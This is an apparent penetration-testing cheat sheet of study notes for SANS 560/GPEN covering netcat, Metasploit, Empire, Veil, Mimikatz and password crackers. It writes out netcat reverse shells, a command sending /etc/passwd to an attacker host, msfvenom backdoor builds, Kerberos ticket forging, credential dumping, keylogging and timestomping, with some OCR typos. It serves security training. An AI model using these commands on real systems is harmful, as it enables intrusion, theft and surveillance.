fping -g x.x.x.0 x.x.x.254 -a |
Ping sweep
|
|
Linux traceroute Options
|
|
-4 |
Forces IPv4
|
-6 |
Forces IPv6, same as traceroute6 command
|
-I |
Uses ICMP echo
|
-T |
Uses TCP SYN
|
-f <first_ttl> |
Starts from the hop specified instead of 1
|
-g <gateway> |
Routes packets through the gateway specified instead of the default
|
-m <max_ttls> |
Specifies the maximum number of hops; default is 30
|
-n |
Specifies not to resolve IP address to hostnames
|
-w <wait> |
Specifies the wait time, which can be in seconds or relative to the reply time between hops
|
-p <port> |
Specifies the port
|
|
nslookup
|
|
nslookup -norecurse -type=A google.com DNS_SRVR_IP |
DNS Snooping | nonrecursive query
|
server [serverIPaddr or name] |
use specific server
|
set type=any |
set DNS record type
|
ls -d [target_domain] |
Perform a zone transfer of all records for a given domain
|
ls -d [target__domain] [> filename] |
Store zone transfer output in a file
|
view [filename] |
view file
|
|
dig
|
|
dig @[name server] [domain name] [record type] |
dig comand syntax
|
dig +nocomments @192.168.1.50 lab.local -t AXFR |
test if allows anonymous zone transfers
|
|
set norecurse
|
no recursive query, RD=0
|
|
Flags
|
|
-l |
Listen mode (default is client)
|
-L |
Listen harder (Windows only) — Make a persistent listener
|
-u |
UDP mode (defaultis TCP)
|
-p |
Local port (In listen mode, this is port listened connections on. In client mode, this is source port for packets sent.)
|
-e <filename> |
Program to execute after connection occurs
|
-n |
Don’t resolve names
|
-z |
Zero—I/O mode: Don’t send any data, just emit packets
|
-w[N] |
Timeout for connects, waits for N seconds
|
-v |
Be verbose, printing when a connectionis made
|
nc -e |
executes a command upon connection
|
-vv |
Be verbose, printing when connections are made, dropped, and so on
|
|
General
|
|
nc -lvnp XX |
Server listen, verbosity,noDNS,on port XX
|
|
SHELLS
|
|
nc IP PORT -e /bin/bash |
Client reverse shell
|
rm -f /tmp/f ; mkfifo /tmp/f ; cat /tmp/f|/bin/sh -i 2>&1|nc $RHOST $RPORT >/tmp/f |
netcat -e alternative example
|
|
On target:
|
|
mknod backpipe p |
|
nc --1 -p [allowed_inbound_port] 0<backpipe | nc 127.0.0.1 22 1>backpipe |
|
|
Attackers machine to connect:
|
|
ssh login_name@[targetmachine] -p [allowed_inbound_port] |
|
|
A really good explanation for this is on 560.3 book, P 152
|
|
|
Send Files
|
|
nc -l -p 8080 > filename |
setup listener and output file
|
nc -w 3 attackerIP 8080 < /etc/passwd |
sends file to netcat listener with 3 secs timeout
|
|
Scan ports
|
|
nc -v -n IP port |
test 1 port
|
nc -v -w 2 -z IP_Address port_range |
port range
|
echo "" | nc -v -n —w1 [targetIP] [port—range] |
a port scanner that harvests banners
|
|
Other Uses
|
|
while (true); do no -vv -z -w3 [targeb_IP] [target_port] > /dev/null && echo -e "\x07"; sleep 1; done |
Service-is-alive heartbeat
|
while `nc —vv -z —w3 [target_IP] [target_port] > /dev/null` ;do echo "Service is ok"; sleep 1; done; echo "Service is dead"; echo —e "\x07" |
Service-ls-Dead Notification
|
|
alternative
|
|
nc -n -v -l -p 2222 < /tmp/winauth.pcap |
Setup listener that will send the file
|
nc.exe -n -v -w3 [YourLinuxIPaddr] 2222 >C:\folder\winauth.pcap |
Client to capture and save the file
|
|
General
|
|
tcpdump -nnv -i eth0 |
start capturing traffic
|
-n |
Use numbers instead of names for machines
|
-nn |
Use numbers for machines and ports
|
-i |
Sniff on a particular interface (—D lists interfaces)
|
-v |
Be verbose
|
-w |
Dump packets to a file (use —r to read file later)
|
-x |
Print hex
|
-X |
Print hex and ASCII
|
-A |
Print ASCII
|
s [snaplen] |
Sniff this many bytes from each frame, instead of the defaul
|
|
Protocol:
|
|
ether, ip, ip6 , arp, rarp, tcp, udp: protocol type |
|
|
Type:
|
|
host [host] |
Only give me packets to or from that host
|
net [network] |
Only packets for a given network
|
port [portnum] |
Only packets for that port
|
portrange [start—end] |
Only packets in that range of ports
|
|
Direction:
|
|
src |
Only give me packets from that host or port
|
dst |
Only give me packets to that host
|
|
Use
and / or to combine these together |
|
|
Wrap in parentheses to group elements together
|
|
hashcat -m 1800 -a 0 -o found1.txt crack1.hash 500_passwords.txt |
crack Linux SHA512 password with dict
|
hashcat --force -m 13100 -a 0 lab3.hashcat /path/to/Dict.txt --show |
Crack Kerberos Service Ticket for account password
|
Invoke-Kerberoast |
Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes
|
|
Create Handler listener
|
|
use exploit/multi/handler |
|
set payload windows/x64/meterpreter/reverse_https OR windows/meterpreter/reverse_tcp |
|
set lhost AttackerIP |
|
set lport 443 |
|
exploit -j -z |
Run in ackground
|
|
PS Session with valid creds
|
|
use auxiliary/admin/smb/psexec_command |
|
set smbuser user |
|
set rhost victimIP |
|
set smbpass P4$$ |
|
set command "ipconfig or any command" |
|
run |
|
|
Create backdoor - recognized by Defender :(
|
|
msfvenom -p windows/shell/reverse_tcp LHOST= [AttackerIP] LPORT=8080 -f exe > /tmp/file.exe |
|
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=AttackerIP LPORT=443 -f exe -o pwned.exe |
|
|
Others
|
|
sessions -l |
get a list of sessions
|
sessions -i [N] |
interact (-i) with session number [N]
|
press CTRL-Z |
Background session
|
jobs |
get background jobs
|
db_import /path/to/file/nmap.xml |
Import scans from nmap
|
hosts -m "Windows 10" 192.168.1.10 |
Add comment to host
|
services -u -p 135,445 |
Show UP hosts with Lports 135,445
|
sessions -h |
list help for sessions command
|
sessions -K |
kill a session
|
|
set up an Empire HTTP listener
|
|
usestager windows/launcher_bat |
|
set Listener http |
|
execute |
|
General |
|
list agents |
|
interact AGENTID |
chose an agent
|
download C:\Users\alice\Desktop\some.txt |
transfer file from agentPC
|
|
Timestomping
|
|
upload /tmp |
upload content from /tmp to actual session directory
|
usemodule management/timestomp |
load timestomp module
|
set ALL 03/02/2020 5:28 pm |
define time to be set in all datetime file properties
|
set FilePath bank_login_information.txt |
set target file to be tampered
|
execute |
run module
|
|
Others
|
|
/opt/Empire-master/downloads/ |
Empire Download's location
|
sell powershell Get-ChildItem |
Run powershell command
|
|
General
|
|
|
?
|
Get command suggestions
|
|
searchmodule privesc
|
search for modules
|
|
configure a listener
|
|
|
listeners
|
getting a list of our listeners
|
|
options
|
options we have for our listeners
|
|
set StagingKey [Some_Secret_Value]
|
configure a custom staging key for encrypting communications
|
|
set DefaultDelay 1
|
time between callbacks from our agent
|
|
execute
|
launch listener
|
|
list
|
check out our listene
|
|
deploy an agent
|
|
|
usestager
|
create and deploy an agent | [space][TAB-TAB] To see available stagers
|
|
usestager 1auncher_bat
|
select stager
|
|
info
|
get info for actual stager
|
|
Options
|
|
-f [N] |
Set the initial TI‘L for the first packet
|
-g [hostlist] |
Specify a loose source route (8 maximum hops)
|
-I |
Use ICMP Echo Request instead of UDP
|
-T |
Use TCP SYN instead of UDP (very useful!),with default dest port 80
|
-m [N] |
Set the maximum number of hops
|
-n |
Print numbers instead of names
|
-p [port] |
port
|
|
For UDP, set the base destination UDP port and increment
|
|
|
For TCP, set the fixed TCP destination port to use, defaulting to port 80 (no incrementing)
|
|
-w [N] |
Wait for N seconds before giving up and writing * (default is 5)
|
-4 |
Force use of IPv4 (by default, chooses 4 or 6 based on dest addr)
|
-6 |
Force use of IPv6
|
|
Start Veil-Evasion
|
|
cd /opt/Veil-Evasion || /usr/share/veil |
|
./Veil-Evasion .py |
|
|
General
|
|
list |
get a list of all the different payloads that the tool can generate
|
info powershell/meterpreter/rev_https |
et more information about any of the payloads
|
clean |
Clean out any leftover cruft from previous use of Veil-Evasion,
|
|
Generate payload
|
|
use info powershell/meterpreter/rev_https |
select the payload you want to generate
|
options |
list options for actual item
|
generate |
create the payload file
|
|
Generated files
|
|
.bat |
This is the payload itself
|
.rc |
This is the Metasploit configuration file (also known as a handler file) for a multi/handler waiting for a connection from our payload.
|
exit |
exit Veil-Evasion
|
/usr/share/veil-output/source |
Veil-Evasion output directory
|
|
Most useful database commands
|
|
db_connect [connect_string] |
Connects to a database
|
db_disconnect |
Disconnects from database
|
db_driver |
Selects the database type
|
db_status |
Displays the status of the database
|
db_export |
Exports database contents into a file, either xml (with hosts,ports, vulnerabilities, and more) or pwdump (with pilfered credentials)
|
hosts |
Get list of hosts disvcovered
|
vulns |
Get list of vulns that were found in scanned hosts
|
services |
Get list of services running in gained hosts
|
hosts --add [host] |
manually add hosts
|
services --add -p [port] -r [proto] -s [name] [hostl,host2,...] |
manually add services running in hosts
|
notes --add -t [type] -n '[note_text]' [hostl,host2,...] |
manually add notes to a host
|
|
If you delete a host, any services and vulns corresponding to that host_id will also disappear
|
|
db_nmap --sT 10.10.10.10 --packet—trace |
invoke Nmap directly from the msfconsole
|
db_import [filename] |
import data | automatically recognizes the file type like Nmap xml, Amap, Nexpose, Qualys, Nessus
|
hosts -S linux |
searching for any hosts associated with linux, -S works for other items (vulns) as well
|
hosts -S linux -R |
set result as RHOTS variable value
|
vulns -p 445 |
Look for vulnerabilities based on port number
|
crontab -l |
list job entries
|
crontab -e |
edit job entries
|
recon-ng |
|
marketplace install all ; exit |
|
workspaces create demo |
|
modules load recon/domains-contacts/whois_pocs |
|
options set SOURCE example.com |
|
run |
|
show contacts |
./exiftool t/images/ExifTool.jpg >/root/exif.out |
execute exiftool against the ExifTool.jpg
|
|
strings —n 8 file.txt
|
shows strings only eight characters long
|
|
GPEN AIO Book - Lab 3-4: Scapy Introductory
|
|
scapy (as root) |
starts library
|
help(function) |
Get help for specific function
|
p = IP()/TCP()/"Foo" |
define blank packet
|
ls(p) |
show packet info
|
p.show() |
show packet info
|
summary |
show packet info
|
ls(p[Raw]) |
view just the data
|
p[IP].src="ipaddres" |
set src address
|
p[IP].dst="ipaddres" |
set dst address
|
p[TCP].sport="xx" |
set src port
|
p[TCP].dport="xx" |
set dst port
|
p=IP/TCP/DATA |
packet structure
|
|
Command Reference for tickets attacks
|
|
/domain |
domain's fqdn
|
/sid |
SID of the Domain
|
/user /admin |
username to impersonate
|
/groups (optional) |
group RIDs the user is a member of (the first is the primary group) default: 513,512,520,518,519 for the well-known Administrator’s groups
|
/ticket (optional) |
provide a path and name for saving the Golden Ticket file to for later use or use /ptt to immediately inject the golden ticket into memory for use.
|
/ptt |
as an alternate to /ticket – use this to immediately inject the forged ticket into memory for use.
|
/id (optional) |
user RID. Mimikatz default is 500 (the default Admin account RID).
|
/startoffset (optional) |
the start offset when the ticket is available (generally set to –10 or 0 if this option is used). Mimikatz Default value is 0.
|
/endin (optional) |
ticket lifetime. Mimikatz Default value is 10 years (~5,262,480 minutes). Active Directory default Kerberos policy setting is 10 hours (600 minutes).
|
/renewmax (optional) |
maximum ticket lifetime with renewal. Mimikatz Default value is 10 years (~5,262,480 minutes). Active Directory default Kerberos policy setting is 7 days (10,080 minutes).
|
|
Requirements
|
|
• /target |
target server’s FQDN.
|
• /service |
SPN
|
• /rc4 |
NTLM hash for the service (computer account or user account)
|
|
Steps
|
|
whoami |
get domain/SID
|
invoke-Kerberoast.ps1 |
get SPN and Service user pass hash for cracking
|
Mimikatz “privilege::debug” “sekurlsa::logonpasswords” exit |
get Service password hash w/Mimikatz (if you have access to server hosting Vuln service)
|
hashcat ""$krb5tgs$6$acct$svc/HOST:port$XXXX…XXX"" dicti.txt hashcat -m 13100 hash.txt dicti.txt |
Get unencrypted service password w/hashcat (If we didn't get NTLM hash) and hash it to NTLM
|
Import-Module DSInternals $pwd = ConverTo-SecureString 'P@$$w0rd' -AsPlainText -Force ConvertTo-NTHash $pwd |
Hash cleartext password to NTLM
|
mimikatz “kerberos::golden /admin:ImAdmin /id:1106 /domain:lab.adsecurity.org /sid:S-1-5-21-XXXXX /target:EXCHANGE.lab.local /rc4:NTLMHash /service:ServiceSPN /ptt” exit |
Forge TGS to auth target SVC
|
misc::cmd ; klist ; use a command to connect to that specific service for example: Find-InterestingFile -Path \\FileServer1.domain.com\S$\shares\ |
Auth to local SVC w/creds and TGS | ej: mimikatz
|
|
Trolling
|
|
|
Faking RIDs
|
|
|
1106 is "Anakin"
|
/id:1159
|
|
1159 is "Vader"
|
/user:Anakin
|
|
Result: User: Anakin | Real Context User: Vader
|
|
/groups:512,513,518,519 |
lulz
|
|
Requirements
|
|
• KDC LT key |
(e.g. KRBTGT NTLM hash)
|
• Domain admin account name |
|
• Domain name |
|
• SID of domain admin account |
|
|
Commands
|
|
.\mimikatz kerberos::golden /admin:ADMINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:DOMAINSID /krbtgt:KRBTGTPASSWORDHASH |
|
.\mimikatz kerberos::ptt file.txt |
create a golden ticket from file with PTT
|
kerberos::tgt |
Get current session ticket details
|
kerberos::list /export |
Export ticket to a .kirbi file
|
kerberos::ptt file.kirbi |
Load / pass the ticket
|
|
1. Peform the AS-REQ (encrypting timestamp with passw hash) to get an TGT
|
|
2. Perform TGS-REQ to KDC to get TGS
|
|
3. Use TGS to impersonate passw hash owner and use a service
|
gpg -d -o <OutputFileName> <EncryptedFileName> |
decrypt a file
|
|
Basic commands
|
|
? / help |
Display a help menu
|
exit / quit |
Quit the Meterpreter
|
sysinfo |
Show name, OS type
|
shutdown / reboot |
Self—explanatory
|
reg |
read or write to the Registry
|
|
File System Commands
|
|
cd |
Navigate directory structure
|
lcd |
Change local directories on attacker machine
|
pwd / getwd |
Show the current working directory
|
ls |
List the directory contents, even 4 Windows
|
cat |
Display a file’s contents
|
download / upload |
Move a file to or from the machine
|
mkdir / rmdir |
Make or remove directories
|
edit |
Edit a file using default editor
|
|
Process Commands
|
560.3 Page 92
|
getpid |
Returns the process ID that Meterpreter is running in
|
getuid |
Returns the user ID that the Meterpreter is running with
|
ps || ps -S notepad.exe |
Process list
|
kill |
Terminate a process
|
execute -f cmd.exe -c -H |
Runs a given program channelized (-c) and hide proccess window (-H)
|
migrate [destination_process_ID] |
Jumps to a given destination process ID:
|
|
*Target process must have the same or lesser privileges
|
|
|
*May be a more stable process
|
|
|
*When inside the process, can access any files that it has a lock on
|
|
|
Network Commands
|
|
ipconfig |
show network config
|
route |
Displays routing table, adds/deletes routes
|
portfwd add -1 1111 -p 22 -r Target2 |
SANS 560.3 Exploitation Page 67 for better understanding
|
|
On-target Machine commands
|
|
screenshot -p [file.jpg] |
SC
|
idletime |
Show how long the user at the console has been idle
|
uictl [enable/disable] [keyboard/mouse] |
Turn on or off user input devices
|
|
Webcam and Mic Commands
|
|
webcam__list |
Lists installed webcams
|
webcam_snap |
Snaps a single frame from the webcam as a JPEG: -Can specify JPEG image quality from 1 to 100, with a default of 50
|
record_mic |
Records audio for N seconds (—d N) and stores in a wav filein the Metasploit .msf4 directory by default
|
|
Make sure you get written permission before activating either feature
|
|
|
Keystroke Logger
|
|
keyscan_start |
poll every 30 milliseconds for keystrokes entered into the system
|
keyscan_dump |
flushes 1 Megabyte of buffer keystrokes captured to attacker's Meterpreter Screen
|
keyscan_stop |
tells the Meterpreter to stop gathering all keystrokes
|
|
Pivoting Using Metasploit’s Route Command
|
|
use [exploit1] |
|
set RHOST [victim1] |
|
set PAYLOAD windows/meterpreter/reverse_tcp |
|
exploit |
|
CTRL-Z |
background session... will display meterpreter sid
|
route add [victim2_subnet] [netmask] [Sid] |
direct any of its packets for a given target machine or subnet through that Meterpreter session
|
use [exploit2] |
|
set RHOST [victim2] |
|
set PAYLOAD [payloadZ] |
|
exploit |
|
|
Do not confuse the Metasploit (msf) route command with the Meterpreter route command. The latter is used to manage the routing tables on a target box that has been compromised using the Meterpreter payload. The msf route command is used to direct all traffic for a given target subnet from the attacker’s Metasploit machine through a given Meterpreter session on a compromised victim machine to another potential Victim.
|
|
|
Additional Modules
|
|
use [modulename] |
load additional modules
|
|
Others
|
|
run schtasksabuse -c "[command1][,command2]..." -t [targetIP] |
script that automates Win-schtasks task creation
|
|
Uses Meterpreter's process credentials (add -u and -p for other credentials)
|
|
|
load kiwi
|
oad the mimikatz Kiwi Meterpreter extension on the target machine
|
|
creds_all
|
grab credentials
|
|
-i
|
input file
|
|
-o
|
output file
|
|
-m [n]
|
the minimum number of characters to use for a password is n
|
|
-M [N]
|
Remove all words longer than N characters
|
|
-c [count]
|
how many password criteria a given word must meet to be included in the list.
|
|
-l
|
The password must contain at least one lowercase character.
|
|
-u
|
The Password must contain at least one uppercase character. (To specify a mixed case requirement, configure —c 2 -l —u.)
|
|
-n
|
The password must contain at least one number
|
|
-p
|
he password must contain at least one printable character that is neither alphabetic nor numeric, whichincludes !@#$%"&*().
|
|
-s
|
The password must include characters not included in the other lists (such as nonprintable ASCII characters)
|
|
General
|
|
|
john.pot file
|
cracked password store
|
|
john.rec file
|
stores john's current status
|
|
john --restore
|
picks up Where it left off based on the contents of the john.rec file
|
|
john --test
|
Check Speed Of SyStem
|
|
john hash.txt
|
run john against hash.txt file
|
john --show [password_file] |
compare which passwords John has already cracked froma given password file against itsjohn.pot file
|
|
Cracking LANMAN Hashes
|
|
john /tmp/sam.txt |
By default, John will focus on the LANMAN hashes.
|
|
Cracking Linux Passwords
|
|
cp /etc/passwd /tmp/passwd_copy |
copy passwd file to your working directory
|
cp /etc/shadow /tmp/shadow_copy |
copy shadow file to your working directory
|
./unshadow passwd_copy shadow_copy > combined.txt |
Use the
unshadow script to combine account info from /etc/passwdwith password information from /etc/shadow |
|
john combined. txt
|
Run John against the combined file
|
|
cat ~/.john/john.pot
|
Look at the Results in john.pot file
|
No comments yet.
Cheatography n. The art of mapping complex subjects into clear, instantly navigable reference guides.
